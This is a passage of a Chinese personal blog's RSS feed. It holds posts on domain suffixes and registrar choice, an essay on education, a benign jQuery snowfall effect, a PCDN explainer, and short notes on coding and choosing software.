&lt;tr&gt;
&lt;td&gt;.net&lt;/td&gt;
&lt;td&gt;网络组织，例如因特网服务商和维修商，现在任何人都可以注册&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;.co&lt;/td&gt;
&lt;td&gt;哥伦比亚共和国国家地区顶级域&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;.org&lt;/td&gt;
&lt;td&gt;非盈利组织，现在任何人都可以注册&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;.xyz&lt;/td&gt;
&lt;td&gt;表示无限潜力&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;.cn&lt;/td&gt;
&lt;td&gt;中华人民共和国的顶级域域名&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;.io&lt;/td&gt;
&lt;td&gt;英属印度洋国家地区顶级域&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;.me&lt;/td&gt;
&lt;td&gt;用于个人&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;.info&lt;/td&gt;
&lt;td&gt;网络信息服务组织&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;.in&lt;/td&gt;
&lt;td&gt;印度国家和地区顶级域&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;.top&lt;/td&gt;
&lt;td&gt;表示“顶端”之意&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;.ai&lt;/td&gt;
&lt;td&gt;英国海外属地安圭拉国家及地区顶级域&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;.eu&lt;/td&gt;
&lt;td&gt;欧洲联盟国家及地区顶级域&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;.online&lt;/td&gt;
&lt;td&gt;表示“在线”之意&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;.us&lt;/td&gt;
&lt;td&gt;美国国家和地区顶级域&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;.biz&lt;/td&gt;
&lt;td&gt;商业&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;.gg&lt;/td&gt;
&lt;td&gt;英国王室属地根西岛国家及地区顶级域&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;.tv&lt;/td&gt;
&lt;td&gt;图瓦卢国家及地区顶级域，有“电视”之意&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;.tech&lt;/td&gt;
&lt;td&gt;表示“科技”之意&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;.cc&lt;/td&gt;
&lt;td&gt;澳洲海外领地科科斯（基林）群岛国家及地区顶级域&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;.dev&lt;/td&gt;
&lt;td&gt;表示“开发”之意&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;.club&lt;/td&gt;
&lt;td&gt;表示“俱乐部”之意&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;.de&lt;/td&gt;
&lt;td&gt;德国国家和地区顶级域&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;.app&lt;/td&gt;
&lt;td&gt;用于应用支持服务以及相关的产品或工具&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;选择域名注册商&lt;/h2&gt;
&lt;h3&gt;选择合适的域名注册商&lt;/h3&gt;
&lt;p&gt;在选择最佳域名注册商时，我们会考虑以下四个标准：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;定价和注册期限
您要检查的第一件事是域名价格
例如，一些域名注册商可能会为第一年的注册提供低价，但他们的续订价格可能会有所不同，而且会高得多
您还需要检查域转移、续订和其他费用的任何额外费用&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这里有一些域名比价平台
&lt;a href=&quot;https://zh-hans.tld-list.com/&quot;&gt;TLD-List&lt;/a&gt;
&lt;a href=&quot;https://domcomp.com/&quot;&gt;Domcomp&lt;/a&gt;
&lt;a href=&quot;https://www.nazhumi.com/&quot;&gt;哪煮米&lt;/a&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;域名转移
域名可以从一个域名注册商转移到另一个域名注册商
您需要牢记的是，您不能在注册后的前 60 天内转让域名
这个初始阶段由 ICANN 决定
之后，您可以将其移至您想要的任何其他注册商&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;大多数域名注册商都可以轻松转移域名而无需支付任何额外费用
但是，有些人可能会尝试使其复杂化或收取额外费用来解除域锁定
在从注册商处购买域名之前，请务必查看域名转移政策&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;域名过期政策
域名在特定期限内注册。您可以在到期日期之前续订您的域注册
但是，如果您忘记更新您的域名，那么它就会过期并且任何人都可以注册它
对于企业来说，这意味着有人可以接管他们的域名
为确保不会发生这种情况，您可以为您的域名设置自动续订&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;即使您使用自动续订功能，也最好检查您的域名注册商的过期政策
一些域名注册商甚至在到期后提供宽限期。此宽限期允许您续订过期的域名
而错误的域名注册服务会立即将您的过期域名拍卖给出价最高的人&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;附加服务
您可能还想查看您的域名注册商提供的其他服务
虽然您现在可能不需要这些服务，但很高兴知道他们有这些服务&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这些附加服务可能包括域隐私、域停放、延长过期保护等
一些域名注册商甚至可能出售WordPress 托管服务、电子邮件托管服务、网站建设者、电子邮件营销服务等&lt;/p&gt;
&lt;h3&gt;注意事项&lt;/h3&gt;
&lt;p&gt;以下是选择域名注册商时需要注意的一些事项：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;附加定价
一些域名注册商可以在您购买域名时自动预检附加服务
如果您不取消选中这些选项，那么这将大大增加您的账单&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;用户体验
大多数域名注册商都试图让他们的网站易于使用，这样他们就可以留住您的客户
但是，一些域名注册商的做法恰恰相反
这将使您难以更改您的域名设置&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;隐藏费用
在选择域名注册商时，您可能还需要寻找隐藏的成本和费用
一些域名注册商可能会为首次注册的更便宜的域名提供特别优惠
域名的续费成本往往相差甚远，甚至更高
所有优秀的域名注册商都可以轻松地将您的域名转移到另一家公司
但是，有些会收取额外费用&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;WHOIS保护
部分注册商免费提供WHOIS保护，而另一部分则需要额外付费
需要注意的是，没有WHOIS保护会使你的个人信息公开，很可能会收到各种垃圾邮件&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;有关国内的注册商
国内的注册商在注册域名时要求实名认证，如果绑定云服务器的话还需要备案
如果未进行相关手续将无法使用&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;国外常用的域名注册商对比（仅供参考）&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;NameSilo&lt;/th&gt;
&lt;th&gt;NameCheap&lt;/th&gt;
&lt;th&gt;Google Domains&lt;/th&gt;
&lt;th&gt;Domain.com&lt;/th&gt;
&lt;th&gt;GoDaddy&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;价格&lt;/td&gt;
&lt;td&gt;较低&lt;/td&gt;
&lt;td&gt;较低&lt;/td&gt;
&lt;td&gt;一般&lt;/td&gt;
&lt;td&gt;一般&lt;/td&gt;
&lt;td&gt;一般&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WHOIS保护&lt;/td&gt;
&lt;td&gt;免费&lt;/td&gt;
&lt;td&gt;免费&lt;/td&gt;
&lt;td&gt;免费&lt;/td&gt;
&lt;td&gt;付费&lt;/td&gt;
&lt;td&gt;付费&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DNSSEC保护&lt;/td&gt;
&lt;td&gt;免费&lt;/td&gt;
&lt;td&gt;付费&lt;/td&gt;
&lt;td&gt;免费&lt;/td&gt;
&lt;td&gt;付费&lt;/td&gt;
&lt;td&gt;付费&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ICANN手续费&lt;/td&gt;
&lt;td&gt;无&lt;/td&gt;
&lt;td&gt;有&lt;/td&gt;
&lt;td&gt;无&lt;/td&gt;
&lt;td&gt;有&lt;/td&gt;
&lt;td&gt;有&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;支付方式&lt;/td&gt;
&lt;td&gt;支付宝、Pay Pal、信用卡&lt;/td&gt;
&lt;td&gt;Pay Pal、信用卡&lt;/td&gt;
&lt;td&gt;Google Pay、信用卡&lt;/td&gt;
&lt;td&gt;Pay Pal、信用卡&lt;/td&gt;
&lt;td&gt;支付宝、Pay Pal、信用卡&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;思考一个域名前缀&lt;/h2&gt;
&lt;h3&gt;选择一个令人印象深刻的域名&lt;/h3&gt;
&lt;p&gt;下面介绍一些可帮助您选择最合适的域名的准则：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;域名长度
建议使用短域名，通常为 3 至 4 个字词
短域名更容易被记住和键入，可帮助用户更轻松地直达您的网站&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;关键字
确保您的域名中的字词与您发布的内容相关
描述性字词可帮助首次到访者了解网站的内容
此外，如果您使用描述性字词，那么当用户搜索与这些字词相关的产品或服务时，您的网站会更有可能出现在搜索结果中&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;地理位置
如果您的目标受众在一个特定的区域内，您可以在域名中添加该地理位置名称
这样做有助于过滤掉不在您的服务区域内的非预期受众&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;品牌名称
品牌是一个专属标识性形象，可帮助您的域名脱颖而出
由于用户能快速认出历史悠久的品牌，因此品牌有助于企业发展自己的特色以及长久传承
品牌的发展需要时间，不过一个成功的品牌可以增加您网站的受欢迎程度&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;需要避免的事项&lt;/h3&gt;
&lt;p&gt;以下做法可能会对域名的形象产生负面影响：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;数字或短划线
使用这些字符可能会让用户难以键入或记住您的网站名称&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;使用的字词或企业名称有拼写错误
这类错误可能会让用户怀疑您的网站是垃圾网站或网上诱骗网站&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;与已有品牌或商标相似
如果您的网站名称和托管内容与已有企业的网站名称和内容相似
可能会为自己招来版权投诉或滥用行为投诉
进而导致域名被暂停和/或遭到法律诉讼
在争议得到解决之前，访问者可能无法访问您的网站或向您发送电子邮件&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;几个域名生成器
&lt;a href=&quot;https://leandomainsearch.com/&quot;&gt;Lean Domain Search&lt;/a&gt;
&lt;a href=&quot;https://domainwheel.com/&quot;&gt;Domain Wheel&lt;/a&gt;
&lt;a href=&quot;https://www.panabee.com/&quot;&gt;Panabee&lt;/a&gt;
&lt;a href=&quot;https://namelix.com/&quot;&gt;Namelix&lt;/a&gt;
&lt;a href=&quot;https://www.nameboy.com/&quot;&gt;Nameboy&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;参考资料&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://zh.wikipedia.org/wiki/%E5%9F%9F%E5%90%8D&quot;&gt;维基百科：域名&lt;/a&gt;
&lt;a href=&quot;https://zh.wikipedia.org/wiki/%E4%BA%92%E8%81%94%E7%BD%91%E9%A1%B6%E7%BA%A7%E5%9F%9F%E5%88%97%E8%A1%A8&quot;&gt;维基百科：互联网顶级域列表&lt;/a&gt;
&lt;a href=&quot;https://zhuanlan.zhihu.com/p/591552306&quot;&gt;知乎：如何选择 2022 年最佳域名注册商&lt;/a&gt;
&lt;a href=&quot;https://zhuanlan.zhihu.com/p/344978462&quot;&gt;知乎：国外5+个常用的域名注册商&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>教育能让我们变得更好么</title><link>https://blog.hiyun.top/posts/%E6%95%99%E8%82%B2%E8%83%BD%E8%AE%A9%E6%88%91%E4%BB%AC%E5%8F%98%E5%BE%97%E6%9B%B4%E5%A5%BD%E4%B9%88/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/%E6%95%99%E8%82%B2%E8%83%BD%E8%AE%A9%E6%88%91%E4%BB%AC%E5%8F%98%E5%BE%97%E6%9B%B4%E5%A5%BD%E4%B9%88/</guid><description>教育能让我们变得更好么</description><pubDate>Tue, 17 Dec 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;孔子一向被中国人视为至圣先师，不仅才能广大，在道德上更是完人
但这样一位圣人所教的弟子中，却出了帮助鲁国贵族季氏聚敛民财的冉有、恶意低毁同门的公伯寮&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;p&gt;东汉大儒郑玄，也是学问与道德上的典范
为世人所重，黄巾军起，烧杀抢掠无所顾忌，但会刻意不去骚扰郑玄的故乡
郑玄有一个弟子叫郗虑，却做出了令人大跌眼镜的事
充当起曹操的枪手，罗织罪名将正直之士孔融置于死地&lt;/p&gt;
&lt;p&gt;冉有、郗虑等人所受的是当世最好的教育，犹且如此
这基本可以得出一个结论：良好的教育，不一定能让人变得更好
不过，如果就此否定教育的作用，显然会走向反智仇学的极端，典型表现就是读书无用论&lt;/p&gt;
&lt;p&gt;别以为在互联网高度发达的今日，读书无用论已丧失市场，其实抱持这种看法的人多得很
尤其是那些做成一些事、赚到一些钱的人，他们大概曾经笃信教育对人有良好作用
然而在做事过程中发现此前学的东西根本不敷用，于是举起大棒，把昔日信奉的理念捶了个粉碎&lt;/p&gt;
&lt;p&gt;如果这些人听说冉有、郗虑的故事，肯定喜出望外
因为那些案例正是他们鄙薄教育的有力证据
至于孔子、郑玄教出了众多杰出弟子，后市受孔子、郑玄影响的英伟士人不可胜数
这些事实就被他们选择性地无视了&lt;/p&gt;
&lt;p&gt;即使如此，我们也不能骤然判决读书无用论者是错误的
毕竟他们也是根据自己鲜活的生命经验得出的结论，这是任何人都不能被夺的
有人试图说服他们，其实当你一旦有这个想法，就已陷入极度被动之中
既然你笃信教育的良好作用，那么你必须是个取得一定成就的人
同时你所信奉的教育与你的成就须有因果关系
整个链条都做得完美无瑕了，才有可能说服对方&lt;/p&gt;
&lt;p&gt;所以，与其付出巨大说服成本去做一件收益低微的事情，还不如自问一下
假如自己也跟他们一样被所受过的教育狠狠伤害过，自己还会不会笃信教育的作用？
要想没有恨意，其实是非常难的
这意味着，我们在受教育之初就需要管理自己对教育的预期&lt;/p&gt;
&lt;p&gt;在这种时候，冉有、郗虑等事例的非凡意义就凸显了，他们能让我们降低对教育的期望值，还可以帮助我们审视如下思想
生而为人，能不能帮权贵压榨百姓？可不可以陷害别人？
假如结论是斩钉截铁的“不能”，那么孔门教育就是有希望的
因为这就是孔子所提倡的士人理念“行己有耻”&lt;/p&gt;
&lt;p&gt;最近与一些大学学生网聊，我告诉他们，大家从小地方来到大城市
但凡生活过一段时间就能发现，世界是非常复杂的，一些事项甚至会挑战你的基础认知
勤劳未必致富、学识带不来效益、敬业难以上位
凡此种种，会令笃信“能者居之”的你痛苦不堪
更有甚者，还会罗织各种“案例”，告诉你寒门难出贵子、阶层逐渐固化，希望你赶紧向命运跪下磕头并就此躺平&lt;/p&gt;
&lt;p&gt;动物都护食，人也一样。所以我们从书卷缝隙看到，无论在什么时候，利益壁垒都无处不在，这是人性使然
出身平凡的我们，在大城市奋斗得头破血流，才能喝上一碗肉汤——在小地方，也许只能换来一碗白粥&lt;/p&gt;
&lt;p&gt;但这又如何？古今中外一大美景，不就是无数出身寒微的人
无论外界怎样想方设法暗示他们前路没有希望
他们都能不为所动，奋力冲破各种壁垒，从而活出了一种坚姿吗？&lt;/p&gt;
&lt;p&gt;所以，在世间众多确定性不断被摧毁的情况下
坚信教育能让人变好、笃信人无论处于哪个阶段都需要折节进学
几乎是我们无名之辈改变人生的最后希望&lt;/p&gt;
</content:encoded></item><item><title>JavaScript飞雪特效</title><link>https://blog.hiyun.top/posts/javascript%E9%A3%9E%E9%9B%AA%E7%89%B9%E6%95%88/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/javascript%E9%A3%9E%E9%9B%AA%E7%89%B9%E6%95%88/</guid><description>JavaScript飞雪特效</description><pubDate>Tue, 03 Dec 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;马上就要到了传统节日“春节”?
网站添加了飞雪❄️特效&lt;/p&gt;
&lt;p&gt;从网上找了源代码
你可以复制到自己的网站或者博客体验一波&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;
(function($){
	$.fn.snow = function(options){
	var $flake = $(&apos;&amp;lt;div id=&quot;snowbox&quot; /&amp;gt;&apos;).css({&apos;position&apos;: &apos;absolute&apos;,&apos;z-index&apos;:&apos;9999&apos;, &apos;top&apos;: &apos;-50px&apos;}).html(&apos;❄&apos;),
	documentHeight 	= $(document).height(),
	documentWidth	= $(document).width(),
	defaults = {
		minSize		: 6,
		maxSize		: 10,
		newOn		: 1000,
		flakeColor	: &quot;#FFFFFF&quot; /* 此处可以定义雪花颜色 */
	},
	options	= $.extend({}, defaults, options);
	var interval= setInterval( function(){
	var startPositionLeft = Math.random() * documentWidth - 100,
	startOpacity = 0.5 + Math.random(),
	sizeFlake = options.minSize + Math.random() * options.maxSize,
	endPositionTop = documentHeight - 200,
	endPositionLeft = startPositionLeft - 500 + Math.random() * 500,
	durationFall = documentHeight * 10 + Math.random() * 5000;
	$flake.clone().appendTo(&apos;body&apos;).css({
		left: startPositionLeft,
		opacity: startOpacity,
		&apos;font-size&apos;: sizeFlake,
		color: options.flakeColor
	}).animate({
		top: endPositionTop,
		left: endPositionLeft,
		opacity: 0.2
	},durationFall,&apos;linear&apos;,function(){
		$(this).remove()
	});
	}, options.newOn);
    };
})(jQuery);
$(function(){
    $.fn.snow({ 
	    minSize: 5, /* 定义雪花最小尺寸 */
	    maxSize: 20,/* 定义雪花最大尺寸 */
	    newOn: 800  /* 定义密集程度，数字越小越密集 */
    });
});
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>谈谈P2P内容分发网络</title><link>https://blog.hiyun.top/posts/%E8%B0%88%E8%B0%88p2p%E5%86%85%E5%AE%B9%E5%88%86%E5%8F%91%E7%BD%91%E7%BB%9C/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/%E8%B0%88%E8%B0%88p2p%E5%86%85%E5%AE%B9%E5%88%86%E5%8F%91%E7%BD%91%E7%BB%9C/</guid><description>谈谈P2P内容分发网络</description><pubDate>Sat, 30 Nov 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;名词介绍&lt;/h2&gt;
&lt;p&gt;P2P CDN（简称PCDN）是一种基于P2P技术的内容分发网络
与传统的CDN不同，PCDN通过挖掘和利用边缘网络中的海量碎片化闲置资源，构建出一个低成本、高品质的内容分发网络服务&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;p&gt;在PCDN中，用户既是内容的消费者，也是内容的分发者
当一个用户下载某个内容时，他可以从其他用户的节点中获取数据
同时自己也作为节点为其他用户提供数据传输服务
这种点对点的传输方式使得PCDN具有极高的扩展性和容错性
能够在用户量激增的情况下仍保持稳定的性能&lt;/p&gt;
&lt;h2&gt;相关技术&lt;/h2&gt;
&lt;h3&gt;对等式网络&lt;/h3&gt;
&lt;p&gt;对等式网络（英语：peer-to-peer， 简称P2P），又称点对点技术，是去中心化、依靠用户群（peers）交换信息的互联网体系
它的作用在于，减低以往网路传输中的节点，以降低资料遗失的风险
与有中心服务器的中央网络系统不同，对等网络的每个用户端既是一个节点，也有服务器的功能，任何一个节点无法直接找到其他节点，必须依靠其户群进行信息交流&lt;/p&gt;
&lt;p&gt;P2P节点能遍布整个互联网，也给包括开发者在内的任何人、组织或政府带来监控难题
P2P在网络隐私要求高和文件共享领域中，得到了广泛的应用
使用一般型P2P技术的网络系统有比特币、Gnutella或自由网等&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s2.loli.net/2024/09/17/V9zNYf6ld1vtyXA.png&quot; alt=&quot;P2P&quot; /&gt;&lt;/p&gt;
&lt;p&gt;传统下载，都是一个服务器，N个客户端
所有客户端，都去服务器下载数据。而P2P的话，A用户下载一部分，B用户也下载了一部分
然后，A用户和B用户之间，互相分享对方已有的数据
这样的话，减轻了服务器的压力。甚至说，服务器关掉，也不影响剩下用户之间完成全部数据的下载&lt;/p&gt;
&lt;p&gt;大名鼎鼎的BT（BitTorrent）下载，就是P2P下载
它所体现的，就是“人人为我，我为人人”的互联网精神&lt;/p&gt;
&lt;h3&gt;内容分发网络&lt;/h3&gt;
&lt;p&gt;內容分发网络（英语：Content Delivery Network或Content Distribution Network，缩写：CDN）
是指一种透过互联网互相连接的电脑网络系统，利用最靠近每位用户的服务器，更快、更可靠地将音乐、图片、影片、应用程序及其他文件发送给用户
来提供高性能、可扩展性及低成本的网络内容传递给用户&lt;/p&gt;
&lt;p&gt;内容分发网络的总承载量可以比单一骨干最大的带宽还要大
这使得内容分发网络可以承载的用户数量比起传统单一服务器
内容分发网络另外一个好处在于有异地备援。当某个服务器故障时，系统将会调用其他邻近地区的服务器服务，进而提供接近100%的可靠度
除此之外，内容分发网络提供给服务提供者更多的控制权。提供服务的人可以针对客户、地区，或是其他因子调整&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s2.loli.net/2024/09/17/nOfdHEKtow3bu5B.png&quot; alt=&quot;CDN&quot; /&gt;&lt;/p&gt;
&lt;p&gt;传统方式，数据放在主服务器，大家都来取，服务器负担很大，带宽有瓶颈
CDN把数据放在离用户更近的区域服务器上。这样，就实现了“内容的分发”
主服务器的压力小了，用户看电影也不容易卡顿&lt;/p&gt;
&lt;h2&gt;PCDN=P2P+CDN&lt;/h2&gt;
&lt;p&gt;PCDN，是P2P和CDN技术的结合，是基于P2P技术的CDN
PCDN直接把内容放在了用户的家里，例如手机终端上，或者路由器上，变成了规模更大的“内容源”&lt;/p&gt;
&lt;p&gt;举例来说，你使用某视频App，观看了一个连续剧
附近的其他用户，如果也观看这个连续剧，就会从你的手机里，取用一部分数据
再例如，你使用某网盘App，下载了一份电子书
附近的其他用户，如果也要下载这份电子书，就可以从你的手机里，取用数据&lt;/p&gt;
&lt;p&gt;客户端上的PCDN，不仅可以通过手机App来实现，也可以直接部署在无线路由器上。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s2.loli.net/2024/09/17/Iq7cd6KELfmNaMw.png&quot; alt=&quot;PCDN&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;被封杀的PCDN&lt;/h2&gt;
&lt;h3&gt;为什么要封杀PCDN？&lt;/h3&gt;
&lt;p&gt;首先，海量的PCDN流量，对运营商骨干传输网络，形成了巨大压力
用户的宽带都是包月的，不是按流量计费。用的越多，运营商网络压力越大，关键还收不到更多钱
其次，视频服务商们，搭建常规CDN服务节点，需要租用运营商的高价机房和带宽
现在服务商都用PCDN了，资源租用大幅减少，影响了运营商的盈利。触碰了核心利益，运营商当然要封杀&lt;/p&gt;
&lt;h3&gt;封杀PCDN的难度&lt;/h3&gt;
&lt;p&gt;封杀PCDN，并不是一件容易的事情
PCDN传输的数据，同样是视频等业务数据
想要区别用户的数据究竟是不是PCDN业务，存在不小挑战
如果区分不准确，或者采用“一刀切”，肯定会影响用户的正常上行需求（例如摄像头数据、直播数据、游戏数据等），进而引发大规模投诉，甚至用户流失&lt;/p&gt;
&lt;p&gt;这些年，运营商们普遍开始采用DPI（深度数据包检测）流量识别和QoS限制，对PCDN进行甄别和打压
例如，对PCDN业务进行精准识别，正常上行流量不受影响，PCDN流量安排上15%~20%的packet loss（丢包），就能实现PCDN业务的有效扼制&lt;/p&gt;
&lt;h2&gt;参考资料&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://zh.wikipedia.org/wiki/%E5%B0%8D%E7%AD%89%E7%B6%B2%E8%B7%AF&quot;&gt;维基百科：点对点网络&lt;/a&gt;
&lt;a href=&quot;https://zh.wikipedia.org/wiki/%E5%85%A7%E5%AE%B9%E5%82%B3%E9%81%9E%E7%B6%B2%E8%B7%AF&quot;&gt;维基百科：内容分发网络&lt;/a&gt;
&lt;a href=&quot;https://www.huxiu.com/article/2622679.html&quot;&gt;虎嗅：运营商拼命封杀的PCDN，到底是个啥？&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>写码三境界</title><link>https://blog.hiyun.top/posts/%E5%86%99%E7%A0%81%E4%B8%89%E5%A2%83%E7%95%8C/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/%E5%86%99%E7%A0%81%E4%B8%89%E5%A2%83%E7%95%8C/</guid><description>写码三境界</description><pubDate>Fri, 22 Nov 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;写码三境界：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;由少写多 (开始懂得写代码)&lt;/li&gt;
&lt;li&gt;由多写少 (有意识地精简优化逻辑)&lt;/li&gt;
&lt;li&gt;由少写多 (理解抽象设计)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;p&gt;很多人停留在第一阶段，也就是能写出来，能用
但是代码逻辑不精简，质量一般，同时杂乱无章
典型的特点是写之前毫无想法，随想随写&lt;/p&gt;
&lt;p&gt;第二阶段是指，有意识地去精简逻辑，简化思路
但是代码因为刻意地精简，反而不好维护
写出来的很多细节异常考虑均不到位。很多人甚至走上刻意追求简洁的道路，写出极其难看的面条代码&lt;/p&gt;
&lt;p&gt;第三阶段，写之前需求清晰，考虑到了各种未来扩展可能，适度抽象，逻辑条理
好的代码，不一定是最简洁的代码，但一定是最好维护的代码，同时也是最好扩展的代码&lt;/p&gt;
&lt;p&gt;所以，我发现一个特点，好代码，其编程风格都是相似的
写代码关键在于思路，在于你想要什么，要写什么
没想法写出来的代码，再好看都没用&lt;/p&gt;
</content:encoded></item><item><title>如何找到适合你的软件</title><link>https://blog.hiyun.top/posts/%E5%A6%82%E4%BD%95%E6%89%BE%E5%88%B0%E9%80%82%E5%90%88%E4%BD%A0%E7%9A%84%E8%BD%AF%E4%BB%B6/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/%E5%A6%82%E4%BD%95%E6%89%BE%E5%88%B0%E9%80%82%E5%90%88%E4%BD%A0%E7%9A%84%E8%BD%AF%E4%BB%B6/</guid><description>如何找到适合你的软件</description><pubDate>Thu, 21 Nov 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;我一向不喜欢做一名所谓的“传教者”，向你推荐哪个软件好用，哪个软件比哪个软件好用，做什么事有什么好的软件可以实现&lt;/p&gt;
&lt;p&gt;很多时候别人问我类似的软件推荐需求时，我都尽量避免回答&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;p&gt;有些很棒的软件，要么是你给他装上去之后他一次都不用，要么是他坚持着自己的使用习惯&lt;/p&gt;
&lt;p&gt;对于大多数人而言，切换了一个新的平台，第一时间想的却是以前的各种使用习惯，如果改变过大，便会抱怨……&lt;/p&gt;
&lt;p&gt;于是也就有了以下的文字：（全部以文本编辑器为例）&lt;/p&gt;
&lt;h2&gt;一、弄清软件定义&lt;/h2&gt;
&lt;p&gt;这个软件主要用来做的是什么？&lt;/p&gt;
&lt;p&gt;比如，文本编辑器，维基百科这样定义：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;文本编辑器是计算机软件中的一种
主要用于用来编写和查看文本文件
有一些特殊的文本编辑器支持增加自有的格式来丰富文档的表现形式
操作系统或者集成开发环境通常会带有可以查看和编辑纯文本的编辑器
可增加格式的文本编辑器通常是个人用户或者公司在制作需要格式的文件中使用&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;PS，记事本真心不适合写代码，尤其是 PHP 代码 ;)&lt;/p&gt;
&lt;h2&gt;二、你真的弄清楚了？&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;你现在的系统上有多少常见的文本编辑器，你能列举多少个？&lt;/li&gt;
&lt;li&gt;它们每个的特点又是如何，你能说出一两个它们的优缺点么？&lt;/li&gt;
&lt;li&gt;百度、谷歌之后，你能说出哪个该用来写代码，哪个该用来编辑 Markdown 了么？&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;同样，对于任何一个类型的软件，我们不可能百分百了解这么多
但是，在寻找自己的心仪软件前有意识地收集归纳，是必要的
不是别人说这个软件好，这个软件就好了，要多知道几款，有意识地对比&lt;/p&gt;
